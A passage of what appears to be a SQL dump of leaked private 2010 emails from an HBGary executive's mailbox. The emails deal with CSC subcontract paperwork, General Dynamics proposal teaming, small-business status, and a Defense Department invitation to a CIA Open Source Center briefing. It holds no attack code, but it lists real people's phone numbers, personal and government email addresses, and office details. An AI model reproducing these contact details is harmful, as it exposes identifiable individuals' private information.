&lt;aaron@hbgary.com&gt;\r\n\r\n\r\nCc:\r\n\r\nPaul Rooney/USA/CSC@CSC, Phillip S Peak/FED/CSC@CSC\r\n\r\n\r\nDate:\r\n\r\n05/04/2010 03:14 PM\r\n\r\n\r\nSubject:\r\n\r\nRe: CTSC - Documents\r\n\r\n\r\n\r\n\r\nGood Afternoon Aaron, \r\n\r\nPer the discussions that CSC has had regarding the Cyber Technology Services\r\nContract (CTSC) opportunity, attached is a “Draft Memorandum of Understanding”\r\nfor your review and response. &nbsp; We value the capabilities and\r\nservices that you bring and look forward to working together in winning\r\nthis important work. \r\n\r\n\r\n\r\n\r\nIn addition to the MOU, the following documents are also required.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease review, update, and return the required documents at your earliest\r\nconvenience. \r\n\r\nIf you have any questions, please do not hesitate to ask.\r\n\r\n\r\nThanks \r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose. \r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n\r\nEdna Robinson/USA/CSC\r\n\r\n\r\nTo:\r\n\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nCc:\r\n\r\nPaul Rooney/USA/CSC@CSC, Phillip S Peak/FED/CSC@CSC\r\n\r\n\r\nDate:\r\n\r\n04/26/2010 01:58 PM\r\n\r\n\r\nSubject:\r\n\r\nRe: CTSC Non Disclosure Agreement\r\n\r\n\r\n\r\n\r\nAaron, \r\n\r\nPlease find the CTSC NDA full executed. \r\n\r\n[attachment &quot;CTSC Non-Disclosure Agreement. - HB Gray.pdf&quot; deleted\r\nby Edna Robinson/USA/CSC] \r\n\r\nThanks \r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose. \r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nTo:\r\n\r\nEdna Robinson/USA/CSC@CSC\r\n\r\n\r\nDate:\r\n\r\n04/26/2010 11:09 AM\r\n\r\n\r\nSubject:\r\n\r\nRe: CTSC Non Disclosure Agreement\r\n\r\n\r\n\r\n\r\n\r\nHere you go. \r\n\r\nAaron \r\n[attachment &quot;CSC CTSC NDA_0_20100426_1107.pdf&quot; deleted by Edna\r\nRobinson/USA/CSC] \r\n\r\nOn Apr 21, 2010, at 10:10 AM, Edna Robinson wrote: \r\n\r\n\r\nGood Morning Aaron, \r\n\r\nLet me know if you can open this one. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose. \r\n\r\n\r\n\r\nFrom:\r\n\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nTo:\r\n\r\nEdna Robinson/USA/CSC@CSC\r\n\r\n\r\nDate:\r\n\r\n04/21/2010 09:28 AM\r\n\r\n\r\nSubject:\r\n\r\nRe: CTSC Non Disclosure Agreement\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Edna, \r\n\r\nCould you resend this document. &nbsp;I am getting a corruption error.\r\n&nbsp;It might be on my end, I am on a Mac. \r\n\r\nThank you, \r\nAaron \r\n\r\nOn Apr 20, 2010, at 3:13 PM, Edna Robinson wrote: \r\n\r\n\r\nGood Afternoon Mr. Aron, \r\n\r\nPlease sign an return the attached Non Disclosure agreement at your earliest\r\nconvenience so that it may be Fully Executed prior to your meeting \r\nwith Paul Rooney. \r\n\r\n\r\n\r\nThanks \r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.comEdna\r\nRobinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.&lt;CTSC Non-Disclosure Agreement.doc&gt; \r\n\r\nAaron Barr \r\nCEO \r\nHBGary Federal Inc. \r\n\r\n\r\n&lt;CTSC Non-Disclosure Agreement.doc&gt; \r\n\r\nAaron Barr \r\nCEO \r\nHBGary Federal Inc. \r\n\r\n\r\n\r\n\r\n&lt;CTSC Memorandum of Understanding for HB Gray 5.4.2010.doc&gt;&lt;F225-1\r\nRepresentations &amp; Certifications.doc&gt;&lt;Subcontractor System Questionnaire\r\n2009 08.xls&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2554,'aaron_hbgary_com/2554.html'),(6396,'2010-05-17','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','/aaron@hbgary.com/new/1297004579.M110483P14101Q1251.eml','\"Aaron Barr\" <aaron@hbgary.com>','RFP','\r\n\r\n\r\n\r\n\r\nRFP\r\n\r\n\r\n\r\n\r\n &lt;&lt;IAS_ESOC_RFP_Package.pdf&gt;&gt; \r\n\r\nDoug Harlow\r\n\r\nGeneral Dynamics AIS\r\n\r\n10560 Arrowhead Dr\r\n\r\nFairfax, VA 22030\r\n\r\nOffice: 703-277-1406\r\n\r\nMobile: 703-835-7243\r\n\r\n\r\n\r\n\r\n',6297,'aaron_hbgary_com/6297.html'),(6397,'2010-05-17','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004579.M628701P14101Q1252.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: Just left a VM for Carlos SOlari','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI, we want to partner with\r\nthem.  I reached out to Carlos, Ted, Andy said you should see how Bob can help\r\nus, see below\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Donald Andy Purdy\r\n[mailto:dpurdy@csc.com] \r\nSent: Monday, May 17, 2010 1:00 PM\r\nTo: Penny Hoglund\r\nSubject: Re: Just left a VM for Carlos SOlari\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nJust got a note from a key guy under carlos\r\nthat they are studying you guys. &nbsp;Don\'t follow up with carlos again soon.\r\n&nbsp;He is crashing to fly to london tomorrow.\r\n\r\nBob frizzelle of our intel group has been working with ted vera; ted should\r\nfollow up with bob to see if he can help us.\r\n\r\nBest,\r\nAndy\r\n\r\nDonald A. Purdy, Jr. Esq., CISSP\r\nChief Cybersecurity Strategist\r\nCyber HGMS\r\nCSC\r\n703 641 2176\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please delete\r\nwithout copying and kindly advise us by e-mail of the mistake in delivery.\r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC to any\r\norder or other contract unless pursuant to explicit written agreement or\r\ngovernment initiative expressly permitting the use of e-mail for such purpose.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; From: &quot;Penny Leavy-Hoglund&quot; [penny@hbgary.com]\r\n&nbsp; Sent: 05/17/2010 12:51 PM MST\r\n&nbsp; To: Donald Purdy\r\n&nbsp; Subject: Just left a VM for Carlos SOlari\r\n\r\n&nbsp;\r\n\r\nTo follow up on my email.\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE – Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14495,'aaron_hbgary_com/14495.html'),(6398,'2010-05-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004579.M891593P14101Q1253.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Just left a VM for Carlos SOlari','I know Bob pretty well and will follow up. &nbsp;See if he can help us do what exactly?AaronOn May 17, 2010, at 4:18 PM, Penny Leavy-Hoglund wrote:FYI, we want to partner with them.&nbsp; I reached out to Carlos, Ted, Andy said you should see how Bob can help us, see below&nbsp;From:&nbsp;Donald Andy Purdy [mailto:dpurdy@csc.com]&nbsp;Sent:&nbsp;Monday, May 17, 2010 1:00 PMTo:&nbsp;Penny HoglundSubject:&nbsp;Re: Just left a VM for Carlos SOlari&nbsp;Just got a note from a key guy under carlos that they are studying you guys. &nbsp;Don\'t follow up with carlos again soon. &nbsp;He is crashing to fly to london tomorrow.Bob frizzelle of our intel group has been working with ted vera; ted should follow up with bob to see if he can help us.Best,AndyDonald A. Purdy, Jr. Esq., CISSPChief Cybersecurity StrategistCyber HGMSCSC703 641 2176This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose.&nbsp; From:&nbsp;\"Penny Leavy-Hoglund\" [penny@hbgary.com]&nbsp; Sent:&nbsp;05/17/2010 12:51 PM MST&nbsp; To:&nbsp;Donald Purdy&nbsp; Subject:&nbsp;Just left a VM for Carlos SOlari&nbsp;To follow up on my email.&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15823,'aaron_hbgary_com/15823.html'),(6399,'2010-05-17','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','/aaron@hbgary.com/new/1297004580.M313088P14101Q1254.eml','\"Aaron Barr\" <aaron@hbgary.com>','HubSones','Aaron, \r\nThe link below shows HubZones in DC and Arlington County - in case\r\nyou\'re looking to set up a PO Box for HBGary in DC.\r\nDoug\r\n\r\n\r\nhttp://map.sba.gov/hubzone/hzqry.asp?scope=-77014127%7C38913472%7C7.9079\r\n6912068433%7C7.76652220876558&command=pan&zoomrect=&panshift=52%7C-67&ma\r\npimage.x=260&mapimage.y=234\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, May 17, 2010 2:45 PM\r\nTo: Harlow, Douglas M.\r\nSubject: Re: HB Gary a Small Business ?\r\n\r\nHi Doug,\r\n\r\nWe are a small business.\r\n\r\nAaron\r\n\r\nOn May 17, 2010, at 2:42 PM, Harlow, Douglas M. wrote:\r\n\r\n> Aaron, \r\n> Is HBGary a small business ?  I forgot and am working a proposal that\r\n> calls for small businesses.\r\n> Thanks, \r\n> \r\n> Doug\r\n> \r\n> \r\n> Doug Harlow\r\n> General Dynamics AIS\r\n> 10560 Arrowhead Dr\r\n> Fairfax, VA 22030\r\n> Office: 703-277-1406\r\n> Mobile: 703-835-7243\r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1383,'aaron_hbgary_com/1383.html'),(6400,'2010-05-17','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004580.M573653P14101Q1255.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Just left a VM for Carlos SOlari','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIn talking with Any there are four areas he sees us playing\r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;Member of their Global Alliance\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMember of their Intrinsically Secure Architecture Initiative\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThey would offer managed services using Active Defense (Managed\r\nservices is decreasing because it&#8217;s a commodity this is a way to maintain\r\npricing)\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUsing it their consulting engagements\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, May 17, 2010 1:26 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: \'Ted Vera\'\r\nSubject: Re: Just left a VM for Carlos SOlari\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI know Bob pretty well and will follow up. &nbsp;See if he\r\ncan help us do what exactly?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn May 17, 2010, at 4:18 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI, we want to partner with them.&nbsp; I reached out to\r\nCarlos, Ted, Andy said you should see how Bob can help us, see below\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Donald Andy Purdy\r\n[mailto:dpurdy@csc.com]&nbsp;\r\nSent:&nbsp;Monday, May 17, 2010\r\n1:00 PM\r\nTo:&nbsp;Penny Hoglund\r\nSubject:&nbsp;Re: Just left a\r\nVM for Carlos SOlari\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJust got a note from a key guy under carlos\r\nthat they are studying you guys. &nbsp;Don\'t follow up with carlos again soon.\r\n&nbsp;He is crashing to fly to london tomorrow.\r\n\r\nBob frizzelle of our intel group has been working with ted vera; ted should\r\nfollow up with bob to see if he can help us.\r\n\r\nBest,\r\nAndy\r\n\r\nDonald A. Purdy, Jr. Esq., CISSP\r\nChief Cybersecurity Strategist\r\nCyber HGMS\r\nCSC\r\n703 641 2176\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please delete\r\nwithout copying and kindly advise us by e-mail of the mistake in delivery.\r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC to any\r\norder or other contract unless pursuant to explicit written agreement or\r\ngovernment initiative expressly permitting the use of e-mail for such purpose.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; From:&nbsp;&quot;Penny Leavy-Hoglund&quot; [penny@hbgary.com]\r\n&nbsp; Sent:&nbsp;05/17/2010\r\n12:51 PM MST\r\n&nbsp; To:&nbsp;Donald Purdy\r\n&nbsp; Subject:&nbsp;Just left\r\na VM for Carlos SOlari\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTo\r\nfollow up on my email.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\nC. Leavy\r\n\r\n\r\n\r\n\r\n\r\nPresident\r\n\r\n\r\n\r\n\r\n\r\nHBGary,\r\nInc\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNOTICE &#8211;&nbsp;Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis message and any attached files may contain information that is\r\nconfidential and/or subject of legal privilege intended only for use by the\r\nintended recipient. If you are not the intended recipient or the person\r\nresponsible for&nbsp;&nbsp; delivering the message to the intended recipient, be\r\nadvised that you have received this message in error and that any\r\ndissemination, copying or use of this message or attachment is strictly\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8339,'aaron_hbgary_com/8339.html'),(6401,'2010-05-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004580.M793163P14101Q1256.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: HubSones','So GD is going to put us in as a Sub on their FBI SOC proposal.AaronBegin forwarded message:From: \"Harlow, Douglas M.\" &lt;Douglas.Harlow@gd-ais.com&gt;Date: May 17, 2010 4:34:41 PM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: HubSonesAaron, The link below shows HubZones in DC and Arlington County - in caseyou\'re looking to set up a PO Box for HBGary in DC.Doughttp://map.sba.gov/hubzone/hzqry.asp?scope=-77014127%7C38913472%7C7.90796912068433%7C7.76652220876558&amp;command=pan&amp;zoomrect=&amp;panshift=52%7C-67&amp;mapimage.x=260&amp;mapimage.y=234-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, May 17, 2010 2:45 PMTo: Harlow, Douglas M.Subject: Re: HB Gary a Small Business ?Hi Doug,We are a small business.AaronOn May 17, 2010, at 2:42 PM, Harlow, Douglas M. wrote:Aaron, Is HBGary a small business ? &nbsp;I forgot and am working a proposal thatcalls for small businesses.Thanks, DougDoug HarlowGeneral Dynamics AIS10560 Arrowhead DrFairfax, VA 22030Office: 703-277-1406Mobile: 703-835-7243Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8981,'aaron_hbgary_com/8981.html'),(6402,'2010-05-17','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','/aaron@hbgary.com/new/1297004581.M216902P14101Q1257.eml','\"Looney, Harry, CTR, OSD-ATL\" <Harry.Looney.ctr@osd.mil>,\"Purdy, Frank\" <fpurdy@logostech.net>,\"Sullivan, Shaun, CTR, OSD-ATL\" <Shaun.Sullivan.ctr@osd.mil>,\"Moore, Thomas, Mr, OSD-ATL\" <Thomas.Moore@osd.mil>,\"Hibbeln, Brian, Mr, OSD-ATL\" <Brian.Hibbeln@osd.mil>,\"Leibner, Lincoln D LTC MIL USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>,\"Aaron Barr\" <aaron@hbgary.com>,\"Looney, Harry, CTR, OSD-ATL\" <Harry.Looney.ctr@osd.mil>,\"Purdy, Frank\" <fpurdy@logostech.net>,\"Sullivan, Shaun, CTR, OSD-ATL\" <Shaun.Sullivan.ctr@osd.mil>,\"Moore, Thomas, Mr, OSD-ATL\" <Thomas.Moore@osd.mil>,\"Hibbeln, Brian, Mr, OSD-ATL\" <Brian.Hibbeln@osd.mil>,\"Leibner, Lincoln D LTC MIL USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Open Source Center briefing','Thanks Harry.  All are welcome.\r\n\r\n-----Original Message-----\r\nFrom: Looney, Harry, CTR, OSD-ATL \r\nSent: Monday, May 17, 2010 1:57 PM\r\nTo: Lachow, Irving Mr OSD ATL; \'Purdy, Frank\'; Sullivan, Shaun, CTR,\r\nOSD-ATL; Moore, Thomas, Mr, OSD-ATL; Hibbeln, Brian, Mr, OSD-ATL; Leibner,\r\nLincoln D LTC MIL USA DCS G-3/5/7; \'Aaron Barr\'\r\nCc: Bishop, Gregory H CIV, NII/DoD-CIO; \'marksc141@aol.com\'; \'Greg Tubbs\r\n(tgreg1982@gmail.com)\'; Phillips, Benjamin D CTR OSD ATL; Phillips, Benjamin\r\n[Ctr]; McCausland, Stacee D CTR OSD ATL; Wickard, Matthew R CTR OSD ATL;\r\nPeterman, Daniel R CTR OSD ATL\r\nSubject: RE: Open Source Center briefing\r\n\r\nIrv,\r\n\r\nI am open all day.  Suggest you invite Greg Bishop (all on the cc line),\r\nMark Race, Ben Phillips, Gregg Tubbs, Stacee McCausland, Matt Wickard, and\r\nDaniel Peterman.\r\n\r\nHarry\r\n\r\n-----Original Message-----\r\nFrom: Lachow, Irving Mr OSD ATL \r\nSent: Monday, May 17, 2010 8:38 AM\r\nTo: \'Purdy, Frank\'; Sullivan, Shaun, CTR, OSD-ATL; Looney, Harry, CTR,\r\nOSD-ATL; Moore, Thomas, Mr, OSD-ATL; Hibbeln, Brian, Mr, OSD-ATL; Leibner,\r\nLincoln D LTC MIL USA DCS G-3/5/7; \'Aaron Barr\'\r\nSubject: Open Source Center briefing\r\n\r\nPeople from the CIA\'s Open Source Center are available to give us a\r\ncapabilities briefing on their social media work on July 21.  Are you all\r\nfree?  Can you suggest anyone else who might want to come?\r\n\r\n--Irv  \r\n\r\nIrving Lachow, Ph.D.\r\n\r\nDirector, Cyber Programs\r\n\r\nSpecial Capabilities Office\r\n\r\nNIPR: irving.lachow@osd.mil\r\n\r\nSIPR: irving.lachow@osd.smil.mil\r\n\r\nJWICS: irving.lachow@osdj.ic.gov\r\n\r\nOffice:  (703) 746-1226\r\n\r\nCell:  (202) 556-0591\r\n\r\n',9466,'aaron_hbgary_com/9466.html'),(6403,'2010-05-17','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004583.M299201P14101Q1258.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Vera Anja\" <anjavera@me.com>','Pics','\r\n\r\n',13161,'aaron_hbgary_com/13161.html'),(6404,'2010-05-17','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004586.M696950P14101Q1259.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Vera Anja\" <anjavera@me.com>','Pics','\r\n\r\n',6629,'aaron_hbgary_com/6629.html'),(6405,'2010-05-17','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004588.M673021P14101Q1260.eml','\"Barr Aaron\" <aaron@hbgary.com>','Pic','\r\n\r\n',7651,'aaron_hbgary_com/7651.html'),(6406,'2010-05-17','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004590.M773242P14101Q1261.eml','\"Barr Aaron\" <aaron@hbgary.com>','Pic','\r\n\r\n',12992,'aaron_hbgary_com/12992.html'),(6407,'2010-05-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004596.M394573P14101Q1262.eml','\"Zosh\" <mydocs@zosh.com>','csc docs','',10244,'aaron_hbgary_com/10244.html'),(6408,'2010-05-17','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297004596.M878283P14101Q1263.eml','aaron@hbgary.com','Unknown Zosh Account: aaron@hbgary.com','\r\n\r\nUnknown Zosh Account\r\n\r\n\r\n\r\n\r\nAn email was received on Mon, May 17, \'10 at 10:38 PM from aaron@hbgary.com.\r\n\r\n\r\n\r\nUnfortunately, the e-mail address aaron@hbgary.com is not registered with Zosh.  In order for documents to show up in your Zosh application, please\r\nsend documents from the e-mail address registered with Zosh. \r\n\r\n\r\n\r\nNote:  It is a common problem for users with an aliased account. For instance, sometimes those with mac.com addresses send e-mails from their me.com address.  \r\nWe are working to provide a mechanism for you to associate multiple e-mail addresses with your account.  \r\n\r\n\r\n\r\nPlease try sending your documents again with the e-mail registered with Zosh.\r\n\r\n			  \r\nThank you for using Zosh. For up to date info.  @zoshapp.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',925,'aaron_hbgary_com/925.html'),(6409,'2010-05-17','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','/aaron@hbgary.com/new/1297004600.M762901P14101Q1264.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: EmeSec Small Business','\r\n\r\n\r\n\r\n\r\nRE: small business\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, \r\n\r\nDo you have anything like the&nbsp; attached products for HBGary ?\r\n\r\nWe&#8217;re trying to form our small business plan in real time and\r\nwant the best team mates &#8211; if interested.\r\n\r\nDoug\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lemke, Michelle R. \r\nSent: Monday, May 17, 2010 5:27 PM\r\nTo: Harlow, Douglas M.\r\nSubject: FW: EmeSec Small Business\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBounce this against your small business.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business Development\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bill Lillard\r\n[mailto:blillard@emesec.net] \r\nSent: Monday, May 17, 2010 4:57 PM\r\nTo: Lemke, Michelle R.\r\nCc: Finn, Rick L.; Grayson &quot;Barney&quot; Koogle; Maria Horton\r\nSubject: EmeSec Small Business\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMichelle.&nbsp; Here are the documents we spoke of\r\nearlier.&nbsp; Please let me know if we can be of help to your effort.&nbsp;\r\nR/Bill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Maria Horton \r\nSent: Monday, May 17, 2010 4:34 PM\r\nTo: Lemke, Michelle R.\r\nCc: Finn, Rick L.; Bill Lillard; Grayson &quot;Barney&quot; Koogle\r\nSubject: EmeSec Small Business\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMichelle, \r\n\r\nRick Finn called me to say hello and ask if I would contact you.\r\n\r\n\r\n&nbsp;\r\n\r\nIt appears that you are seeking a particular Small\r\nBusiness.&nbsp; It looks like a bid/last minute need. \r\n\r\nPlease provide some information on how we might help. \r\n\r\n&nbsp;\r\n\r\nI have included VP of Business Development and VP of Operations\r\non this note. \r\n\r\nMaria 